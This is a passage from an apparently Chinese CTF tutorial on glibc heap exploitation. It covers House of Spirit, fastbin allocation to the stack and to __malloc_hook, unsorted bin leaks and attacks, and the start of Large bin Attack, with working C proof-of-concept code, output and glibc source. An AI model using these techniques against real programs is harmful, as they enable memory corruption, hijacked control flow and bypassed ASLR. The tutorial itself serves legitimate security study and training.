fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
return 0;
}
运行结果:
This file demonstrates the house of spirit attack.
Calling malloc() once so that it sets up its memory.
We will now overwrite a pointer to point to a fake 'fastbin' region.
This region (memory of length: 80) contains two chunks. The first starts at 0x7ffc9e07e6d8 and the second at 0x7ffc9e07e708.
This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffc9e07e6d8.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc9e07e6d8, which will be 0x7ffc9e07e6e0!
malloc(0x30): 0x7ffc9e07e6e0
想要使用 House Of Spirit 的技术分配
chunk
到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测
Alloc to Stack
该技术的核心点在于劫持
fast bin
链表中chunk
的fd
指针,把fd
指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如:返回地址等,需要栈上存在有满足条件的size
值
示例:(64 位程序)
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK, *PCHUNK;
int main(void)
{
CHUNK stack_chunk;
void *chunk1;
void *chunk_a;
stack_chunk.size = 0x21;
chunk1 = malloc(0x10);
free(chunk1);
*(long long *) chunk1 = &stack_chunk;
malloc(0x10);
chunk_a = malloc(0x10);
return 0;
}
这次我们把
fake_chunk
置于栈中称为stack_chunk
同时劫持了
fast bin
链表中chunk
的fd
值,通过把这个fd
值指向stack_chunk
就可以实现在栈中分配fast bin chunk
执行 *(long long *)chunk1=&stack_chunk
后,chunk1
的 fd
指针指向了 stack_chunk
:
第一次执行 malloc
使得 fast bin
链表指向了 stack_chunk
,这意味着下一次分配会使用 stack_chunk
的内存进行:
可以看到第二次执行 malloc
的返回值 RAX 为 0x7fffffffdc80,也就是 stack_chunk
:
stack_chunk
的地址在栈上,而不在堆上:
Arbitrary Alloc
Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中
Arbitrary Alloc 在 CTF 中使用更加频繁,我们可以利用字节错位等方法来绕过
size
域的检验,实现任意地址分配chunk
,最后的效果也就相当于任意地址写任意值
实际上,只要满足目标地址存在合法的 size
域(这个 size
域是构造的,还是自然存在的都无妨),我们可以把 chunk
分配到任意的可写内存中,比如:bss
、heap
、data
、stack
等等
示例:(64 位程序)
int main(void)
{
void *chunk1;
void *chunk_a;
chunk1 = malloc(0x60);
free(chunk1);
*(long long *) chunk1 = 0x7ffff7dd1af5 - 0x8;
malloc(0x60);
chunk_a = malloc(0x60);
return 0;
}
在这个例子中,我们使用字节错位来实现直接分配
fast bin
到__malloc_hook
的位置,相当于覆盖__malloc_hook
来控制程序流程
上述代码中的 0x7ffff7dd1af5
是根据本机的情况得出的值,想要得到这个值,首先我们要观察欲写入地址 __malloc_hook
附近是否存在可以字节错位的情况
图中 0x7ffff7dd1b10
是我们想要控制的 __malloc_hook
的地址,于是我们向上寻找是否可以错位出一个合法的 size
域。因为这是个 64 位程序,因此 fast bin
的范围为 32 字节到 128 字节 (0x20 - 0x80
)
//这里的 size 指用户区域,因此要小 2 倍 SIZE_SZ
Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]
观察发现 0x7ffff7dd1af5
处可以实现错位构造出一个 0x000000000000007f
,因为 0x7f
在计算 fast bin index
时,是属于 index 5
的,即 chunk
大小为 0x70
:
##define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) // 注意 sz 的大小是 unsigned int,因此只占 4 个字节
而 chunk
大小为 0x70
又包含了 0x10
的 chunk_header
,因此我们选择分配 0x60
的 fast bin
,将其加入链表:
经过两次 malloc
分配后,可以观察到 chunk
被分配到 0x7ffff7dd1afd
,因此我们就可以直接控制 __malloc_hook
的内容:
在我的 Glibc 2.23 中 __realloc_hook
与 __malloc_hook
是连在一起的:
Unsorted bin Attack
Unsorted bin Attack 是一类漏洞的利用方法,是指所有基于
unsorted bin
机制的漏洞利用方法
Unsorted bin Attack 的利用前提:
- 控制
unsorted bin chunk
的bk
指针
Unsorted bin Attack 可以达到的效果是:实现修改任意地址值为一个较大的数值
Unsorted bin Leak
unsorted bin
首先可以用来泄露一些信息
由于 unsorted bin
在管理时为循环双向链表,若 unsorted bin
中有两个 bin
,那么该链表结构如下:
也就是说,在该链表中必有一个节点(不准确的说,是尾节点,这个就意会一下把,毕竟循环链表实际上没有头尾)的 fd
指针会指向 main_arena
结构体内部
如果我们可以把正确的 fd
指针泄露出来,就可以获得一个与 main_arena
有固定偏移的地址,这个偏移可以通过 GDB 调试得出
main_arena
是一个struct malloc_state
类型的全局变量,是ptmalloc2
管理主分配区的唯一实例,其会被分配在.data
或者.bss
等段上如果我们有进程所使用的
libc.so
文件的话,就可以获得main_arena
与 libc 基地址的偏移,实现对ASLR
的绕过
获得 main_arena
与 libc 基地址的偏移主要有两种方法:
- 通过
__malloc_trim
函数得出 - 通过
__malloc_hook
直接计算
一般来说,要实现 Unsorted bin Leak,需要有 UAF
在 CTF 中,一般的笔记管理题都会有
show
的功能,对处于 unsorted bin 链表尾的节点show
就可以获得libc
的基地址了另外,CTF 中堆往往是刚刚初始化的,所以
unsorted bin
一般都是干净的,当unsorted bin
中只存在一个bin
的时候,该bin
的fd
和bk
都会指向main_arena
中
另外,如果我们无法做到访问链表尾,但是可以访问链表头:
- 在 32 位的环境下,对链表头进行
printf
等操作,往往可以把fd
和bk
一起输出出来,这个时候同样可以实现有效的 leak - 在 64 位的环境下,由于高地址往往为
\x00
,很多输出函数会被截断,这个时候可能就难以实现有效的 leak
通过 __malloc_trim() 得到偏移
在 malloc.c
中有这样一段代码:
int
__malloc_trim (size_t s)
{
int result = 0;
if (__malloc_initialized < 0)
ptmalloc_init ();
mstate ar_ptr = &main_arena; // <= here!
do
{
__libc_lock_lock (ar_ptr->mutex);
result |= mtrim (ar_ptr, s);
__libc_lock_unlock (ar_ptr->mutex);
ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena);
return result;
}
注意到 mstate ar_ptr = &main_arena
这里对 main_arena
进行了访问,所以通过 IDA 分析 libc 文件中的 malloc_trim()
函数就可以得到 libc 偏移了
以 Glibc 2.23 中的 malloc_trim()
函数为例:
其位于 .bss
段上,可见 main_arena
与 libc 基地址的偏移为 0x3C4B20
我们以 《【Asis CTF 2016】b00ks》 一文中泄漏的地址来进行验证:(同为 Glibc 2.23 环境)
main_arena
与 libc 基地址的偏移为:0x7efea8cc9b20 - 0x7efea8905000 = 0x3c4b20
通过 __malloc_hook 计算偏移
main_arena
和 __malloc_hook
的地址差是 0x10,而大多数的 libc 都可以直接查出 __malloc_hook
的地址
因此 main_arena
与 libc 基地址的偏移可以直接得到:
main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10
Unsorted bin Attack
在 glibc/malloc/malloc.c
中的 _int_malloc
有这么一段代码:
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
当将一个 unsorted bin
取出的时候,会将 bck -> fd
的位置写入本 unsorted bin
的位置
也就是说,如果我们控制了 bk
的值,就能将 unsorted_chunks (av)
写到任意地址
示例:(64 位程序)
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long target_var = 0;
fprintf(stderr, "%p: %ld\n", &target_var, target_var);
unsigned long *p = malloc(400);
malloc(500);
free(p);
fprintf(stderr, "bk pointer point to %p\n", (void *)p[1]);
/*------------VULNERABILITY-----------*/
p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "%p\n", (void *)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
return 0;
}
接下来,我们通过 GDB 调试分析一下整个过程
首先分配了两个堆块 chunk1
和 chunk2
,其中第二个堆块用来防止与 top chunk
合并
然后释放 chunk1
,将其置于 unsorted bin
中,可以看到其 bk
指针指向 0x00007ffff7dd1b78
,由于此时 unsorted bin
只有一个,因此 fd
与 bk
指针相同
假设我们通过堆溢出或其他手段修改 bk
指针,使其指向 target_var - 16
的位置(这里是以 64 位程序作为示例,如果是 32 位程序,则指向 target_var - 8
的位置)
target_var - 16
处是我们伪造的 chunk
,即:target_var
处于伪造 chunk
的 fd
处
然后,我们通过 malloc(400)
再次申请相同大小的空间
由于所申请的 chunk
处于 small bin
所在的范围,其对应的 bin
中暂时没有 chunk
,所以会去 unsorted bin
中找,发现 unsorted bin
不为空,于是把 unsorted bin
中的最后一个 chunk
取出来,而 unsorted bin
中的最后一个 chunk
是我们伪造的 chunk
此时堆并没有什么改变,依然是 unsorted bin
:
但是 0x7fffffffdc88
(target_var
)地址处已经被修改为 unsorted bin
的链表头部 0x00007ffff7dd1b78
,即 fd
指针:
注意:
虽然我们修改了
target
处的值,但unsorted bin
链表也可能就此破坏,在插入chunk
时,可能会出现问题
从上面的示例我们可以看到,Unsorted bin Attack 确实可以修改任意地址的值,但是所修改成的值却不受我们控制,唯一可以知道的是,这个值比较大,一般可以作为以下用途:
- 我们通过修改循环的次数来使得程序可以执行多次循环
- 我们可以修改
heap
中的global_max_fast
来使得更大的chunk
可以被视为fast bin
,这样我们就可以去执行一些fast bin attack
了
Large bin Attack
Large bin Attack 是一类漏洞的利用方法,是指所有基于
large bin
机制的漏洞利用方法
Large bin Attack 主要利用的是 chunk
进入 bin
中的操作,在 malloc
的时候,遍历 unsorted bin
时,对每一个 chunk
,若无法 exact-fit
分配或不满足切割分配的条件,就会将该 chunk
置入相应的 bin
中,而此过程中缺乏对 large bin
的跳表指针的检测
Glibc 2.33 中关于 Large bin 的入 bin 操作:
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
在 Glibc 2.29 及以下的版本中,根据 unsorted bin chunk
的大小不同
在 unsorted bin chunk
小于链表中最小的 chunk
的时候会执行前一句,反之执行后一句:
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
由于两者大小相同的时候只会使用如下的方法插入,所以此时无法利用:
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;